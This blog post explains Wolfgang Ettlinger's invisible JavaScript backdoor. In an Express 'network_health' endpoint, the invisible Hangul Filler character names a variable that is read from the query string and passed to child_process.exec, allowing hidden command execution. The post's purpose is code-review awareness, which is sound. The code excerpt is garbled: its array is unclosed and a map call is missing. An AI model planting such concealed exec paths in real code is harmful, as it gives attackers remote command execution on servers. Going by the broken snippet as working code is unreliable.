The Invisible JavaScript Backdoor

Wolfgang Ettlinger carefull crafted this JavaScript snippet, which contains a backdoor.

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1',
        'curl -s',ㅤ

    try {
        await Promise.all( => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
    } catch(e) {


Looks pretty normal, right? Well, see that destructuring from req.query there (first highlight)? It contains an invisible character \u3164, which is a valid identifier for a JavaScript variable.

The character “ㅤ” (0x3164 in hex) is called “HANGUL FILLER” and belongs to the Unicode category “Letter, other”. As this character is considered to be a letter, it has the ID_Start property and can therefore appear in a JavaScript variable – perfect!

While that line appears normal to us, it actually reads:

const { timeout,\u3164} = req.query;

The result is that you pass something from the querystring’s \u3164 parameter into a JavaScript variable with the name \u3164. That hidden variable is also included in the checkCommands array (second highlight, after the ,), and thus will also be executed.

Let this be a reminder to never directly execute commands. Always check them. As Wolfgang also suggests:

Unicode should be kept in mind when doing reviews of code from unknown or untrusted contributors. This is especially interesting for open source projects as they might receive contributions from developers that are effectively anonymous.

The Invisible JavaScript Backdoor →

Published by Bramus!

Bramus is a frontend web developer from Belgium, working as a Chrome Developer Relations Engineer at Google. From the moment he discovered view-source at the age of 14 (way back in 1997), he fell in love with the web and has been tinkering with it ever since (more …)

Leave a comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.